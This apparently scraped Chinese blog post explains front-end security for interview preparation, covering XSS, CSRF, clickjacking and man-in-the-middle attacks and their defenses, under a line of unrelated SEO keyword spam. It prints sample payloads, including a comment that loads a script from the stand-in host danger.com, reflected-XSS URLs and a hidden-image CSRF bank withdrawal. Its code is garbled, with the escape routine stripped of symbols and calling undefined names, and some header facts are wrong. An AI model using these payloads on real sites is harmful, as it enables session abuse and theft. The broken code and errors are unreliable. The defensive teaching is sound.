金色财经网站开发,连锁连锁酒店网站建设方案,东莞网站开发前三强,免费网站设计大家好#xff0c;我是若川。今天分享一篇安全相关的文章。点击下方卡片关注我、加个星标#xff0c;或者查看源码等系列文章。学习源码整体架构系列、年度总结、JS基础系列如果你被面试官问到这个问题#xff0c;不要急于描述自己遇到的问题以及如何处理的#xff0c;你得… 大家好我是若川。今天分享一篇安全相关的文章。点击下方卡片关注我、加个星标或者查看源码等系列文章。学习源码整体架构系列、年度总结、JS基础系列如果你被面试官问到这个问题不要急于描述自己遇到的问题以及如何处理的你得先去理解问题中的潜台词。“做过哪些措施”更深层的意思是“你熟悉哪些攻击方式知道哪些解决方案”当然不可能把每次做的安全防范措施都一一的说给面试官听 这样显得没有重点。「做哪些安全防范」换个思维思考“有哪些攻击方式”那么我们就可以基于攻击方式的分类来讨论究竟有哪些防范攻击的措施。从而可以梳理出关于这个问题回答的思路XSS 攻击 按照之前说的思路先讲概念说用途什么是XSS攻击XSS即Cross Site Scripting跨站脚本攻击,指的是攻击者想尽一切办法将一些可执行的代码注入到网页中利用这些恶意脚本攻击者可获取用户的敏感信息如 Cookie、SessionID 等进而危害数据安全。为了不和层叠样式表CSS混淆故将其缩写为 XSSXSS 可以分为存储型 XSS (也叫持久型 XSS)、反射型 XSS (也叫非持久型)。存储型存储型也就是攻击的代码被服务端写入进数据库中这种攻击危害性很大因为如果网站访问量很大的话就会导致大量正常访问页面的用户都受到攻击。这种攻击常见于带有用户保存数据的网站功能如论坛发帖、商品评论、用户私信等。具有攻击性的脚本被保存到了服务器并且可以被普通用户完整的从服务的取得并执行从而获得了在网络上传播的能力。反射型反射型也叫非持久型相比于前者危害就小一些一般通过修改 URL 参数的方式加入攻击代码诱导用户访问链接从而进行攻击。这种常见于通过 URL 传递参数的功能如网站搜索、跳转等。由于需要用户主动打开恶意的 URL 才能生效攻击者往往会结合多种手段诱导用户点击。二者区别存储型 XSS 的恶意代码存在数据库里反射型 XSS 的恶意代码存在 URL 里。举两个案例帮助更好的理解当我们在做商品评论时用户输入的内容未经过过滤直接保存到数据库中。攻击者可以构建一条评论 包含恶意内容质量非常不错script srcdanger.com/spread.js/script
当你的评论列表被用户浏览时 直接从服务端取出回填到HTML响应中li质量非常不错script srcdanger.com/spread.js/script/li
那么浏览器会加载执行恶意脚本danger.com/spread.js 在恶意脚本中利用用户的登录状态发更多的带有恶意评论的URL 诱导更多人点击层层传播放大攻击范围。这个案例就是一个典型的存储型XSS攻击。再来看一个反射型攻击案例某天小范开发了一个搜索页面通过用户输入搜索内容展示相应的数据http://localhost:8080/helloController/search?namescriptalert(hey!)/scripthttp://localhost:8080/helloController/search?nameimg srcw.123 onerroralert(hey!)http://localhost:8080/helloController/search?namea onclickalert(hey!)点我/a
有时攻击者会伪造一个图片让你点击后链接跳转URL。对于这种攻击方式来说如果用户使用的是Chrome 浏览器的话浏览器已经帮助用户做了防御攻击。但是我们也不能说就不防御了因为无法保证用户都是用有防御攻击的浏览器。XSS攻击如何进行防范我们讲了这么XSS的原理和危害那么我们在日常开发当中到底该如何预防呢1.输入输出过滤一切用户输入皆不可信在输出时进行验证一般做法是将 ‘ ” 这些个危险字符进行转义。const signs {: amp,: lt,: gt,: quot,: #39
}
const signReg /[]/g
function escape(string) {return (string reUnescapedHtml.test(string))? string.replace(reUnescapedHtml, (chr) htmlEscapes[chr]): string}
通过转义script/script将被转义成ltscriptgtlt/scriptgt;对于URL地址的转义可以使用encodeURI,当你需要编码URL中的参数的时候那么encodeURIComponent是最好方法。上面对字符进行转义的方式很明显并不适用于所有场景比如富文本这样会将需要的格式都过滤掉。因为HTML标签种类繁多基于黑名单的过滤方法考虑的并不全面所以我们可以根据白名单过滤HTML, 可以借助xss.js来完成// 浏览器
script srchttps://raw.github.com/leizongmin/js-xss/master/dist/xss.js/script
使用filterXSS(h1 idtitleXSS Demo/h1script typetext/javascriptalert(/xss/);/script
p classtext-centerWhitelist/p)
输出结果h1XSS Demo/h1lt;script typetext/javascriptgt;alert(/xss/);lt;/scriptgt;
pWhitelist/p
如果后端直接将字符串存入数据库也是不妥的后端也必须做处理因为发送到后端的内容还可以通过其他方式, 前端处理并不能保障安全。2. Cookie 的 HttpOnly当用户的登录凭证存储于服务器的 session 中而在浏览器中是以 cookie 的形式存储的。很多XSS攻击目标都是窃取用户cookie伪造身份认证。可以通过在 cookie 中设置 HttpOnly 属性js脚本将无法读取到 cookie 信息。ctx.cookies.set(name, value, {httpOnly: true // 默认为 true
})
3. CSP(内容安全策略)CSP (Content Security Policy内容安全策略)是 W3C 提出的 本质上就是白名单制度开发者明确告诉浏览器哪些外部资源可以加载和执行。它的实现和执行全部由浏览器完成我们只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞也没法注入脚本除非还控制了一台列入了白名单的可信主机。两种方法可以启用 CSP一种是通过 HTTP 头信息的Content-Security-Policy的字段另一种是通过网页的meta标签方式1举例Content-Security-Policy: default-src ‘self’
表示只允许加载本站资源Content-Security-Policy: default-src https://demo.example.cn https://demo.example2.cn; object-src none
CSP 的值中不同属性以 ; 隔开同一属性的多个值以空格隔开。上面例子的意思就是默认允许读取 https://demo.example.cn和https://cdn.example2.net 的资源object-src 使用的相关资源无白名单也就是完全不允许读出。如果使用了不符合要求的资源浏览器会给予拦截给出下面提示Refused to execute inline script because it violates the following Content Security Policy directive
我们也可以使用 meta 标签代替 HTTP 头metahttp-equivContent-Security-Policycontentdefault-src https://cdn.example.net; child-src none; object-src none
/
Content-Security-Policy 的常用选项有这些default-src: 是 src 选项的默认值但不能覆盖以下值base-uri、form-action、frame-ancestors、plugin-types、report-uri、sandboxbase-uri特别说一下base 标签是因为孤陋寡闻的我第一次见到。指定用于一个文档中包含的所有相对 URL 的根 URL一个文件只能有一个 base 标签用起来大概是这样的base target_top hrefhttp://www.example.com/。connect-src: XHR、WebSockets 等连接使用的地址font-src字体文件来源img-src图片地址media-src音视频地址object-srcFlash 相关report-uri出现报错时提交到指定 uri不能在 标签使用style-src样式文件CSRF 攻击 除了上面说的XSS攻击外还有一种常见的攻击方式CSRF攻击。什么是CSRF攻击CSRF跨站点请求伪造Cross-Site Request Forgeries也被称为 one-click attack 或者 session riding。冒充用户发起请求在用户不知情的情况下 完成一些违背用户意愿的事情如修改用户信息删除评论等。举个例子好友小A在银行存有一笔钱输入用户名密码登录银行账户后发送请求给xiaofan账户转888:http://bank.example.com./withdraw?accountxiaoAamount888forxiaonfan
转账过程中 小A不小心打开了一个新页面进入了黑客xiaohei的网站而黑客网站有如下html代码html!--其他内容--img srchttp://bank.example.com./withdraw?accountxiaoAamount888forxiaohei width0 height0!--其他内容--
/html
这个模拟的img请求就会带上小A的session值 成功的将888转到xiaohei的账户上。例子虽然是get,post请求提交表单同样会被攻击。CSRF攻击的特点通常发生在第三方网站攻击者不能获取cookie等信息只是使用如何防御验证码强制用户必须与应用进行交互才能完成最终请求。此种方式能很好的遏制 CSRF但是用户体验相对差。尽量使用 post 限制 get 使用上一个例子可见get 太容易被拿来做 CSRF 攻击但是 post 也并不是万无一失攻击者只需要构造一个form就可以。Referer check请求来源限制此种方法成本最低但是并不能保证 100% 有效因为服务器并不是什么时候都能取到 Referer而且低版本的浏览器存在伪造 Referer 的风险。tokentoken 验证的 CSRF 防御机制是公认最合适的方案。CSRF 与 XSS 区别通常来说 CSRF 是由 XSS 实现的CSRF 时常也被称为 XSRFCSRF 实现的方式还可以是直接通过命令行发起请求等。本质上讲XSS 是代码注入问题CSRF 是 HTTP 问题。XSS 是内容没有过滤导致浏览器将攻击者的输入当代码执行。CSRF 则是因为浏览器在发送 HTTP 请求时候自动带上 cookie而一般网站的 session 都存在 cookie里面。XSS 利用的是用户对指定网站的信任CSRF 利用的是网站对用户网页浏览器的信任。点击劫持 点击劫持click hijacking也称为 UI 覆盖攻击。它通过一些内容如游戏误导被攻击者点击虽然被攻击者点击的是他所看到的网页但其实所点击的是另一个置于原网页上面的透明页面。根据先点击劫持原理示意图分析典型点击劫持攻击流程攻击者构建了一个非常有吸引力的网页将被攻击的页面放置在当前页面的 iframe 中使用样式将 iframe 叠加到非常有吸引力内容的上方将iframe设置为100%透明用户在不知情的情况下点击按钮触发执行一些其他命令。如何防御点击劫持攻击需要首先将目标网站载入到恶意网站中使用 iframe 载入网页是最有效的方法。所以可以设置我们的网页不允许使用iframe被加载到其他网页中就可以避免这种情况了我们可以通过在响应头中设置X-Frame-Options服务器端进行X-Frame-Options可以设置以下三个值DEBY:不允许任何网页使用iframe加载我这个页面。SAMEORIGIN:只允许在相同域名也就是自己的网站下使用iframe加载这个页面。ALLOWED-FROM origin: 允许任何网页通过iframe加载我这个网页。这种方式在一些老旧的浏览器上是不支持的具体可以通过can i use去查看中间人攻击 中间人(Man-in-the-middle attack, MITM)是指攻击者和通讯的两端分别创建独立的联系并交换其得到的数据攻击者可以拦截通信双方的通话并插入新的内容。一般的过程如下:客户端发送请求到服务端请求被中间⼈截获服务器向客户端发送公钥中间⼈截获公钥保留在⾃⼰⼿上。然后⾃⼰⽣成⼀个【伪造的】公钥发给客户端客户端收到伪造的公钥后⽣成加密hash值发给服务器中间⼈获得加密hash值⽤⾃⼰的私钥解密获得真秘钥,同时⽣成假的加密hash值发给服务器服务器⽤私钥解密获得假密钥,然后加密数据传输给客户端如何防御采用HTTPS通信可以防御中间人攻击 但是使用HTTPS并不就绝对安全一方面你要完全关闭HTTP通信如果没有完全关闭攻击者可以通过某些方式将HTTPS 降级为HTTP从而实现中间人攻击。其次使用HTTPS通信开发时也不要忽视证书的校验或者对于非法证书不进行处理这样也容易被中间人攻击。这里给大家推荐文章 HTTPS中间人攻击实践原理•实践为什么有些软件如Fiddler可以还原https报文Fiddler是通过中间代理的方式抓取报文还原https报文的前提是在客户端的根证书列表下加入Fiddler生成的CA根证书。这样Fiddler就成为CA可以伪造数字证书伪装成服务器。但是只能用于测试不能实现真正意义上的窃取数据。总结 以上是我们平时开发过程中一些常见的前端安全方面的知识以及我们应该如何防御这些攻击。但是安全的领域相当大这些内容只是沧海一粟如果需要深入学习安全防御方面的知识这是远远不够的。参考文章https://juejin.cn/post/6844904100945985543#heading-10http://www.atguigu.com/mst/html/gp/17649.htmlhttps://wurh.github.io/2019/03/29/20190401/https://www.cabeza.cn/blog/2019/05/14/web-security-xss/最近组建了一个江西人的前端交流群如果你也是江西人可以加我微信 ruochuan12 拉你进群。················· 若川出品 ·················今日话题略。欢迎在下方留言~ 欢迎分享、收藏、点赞、在看我的公众号文章~一个愿景是帮助5年内前端人走向前列的公众号可加我个人微信 ruochuan12长期交流学习推荐阅读我在阿里招前端我该怎么帮你现在还能加我进模拟面试群若川知乎问答2年前端经验做的项目没什么技术含量怎么办点击上方卡片关注我、加个星标或者查看源码等系列文章。学习源码整体架构系列、年度总结、JS基础系列
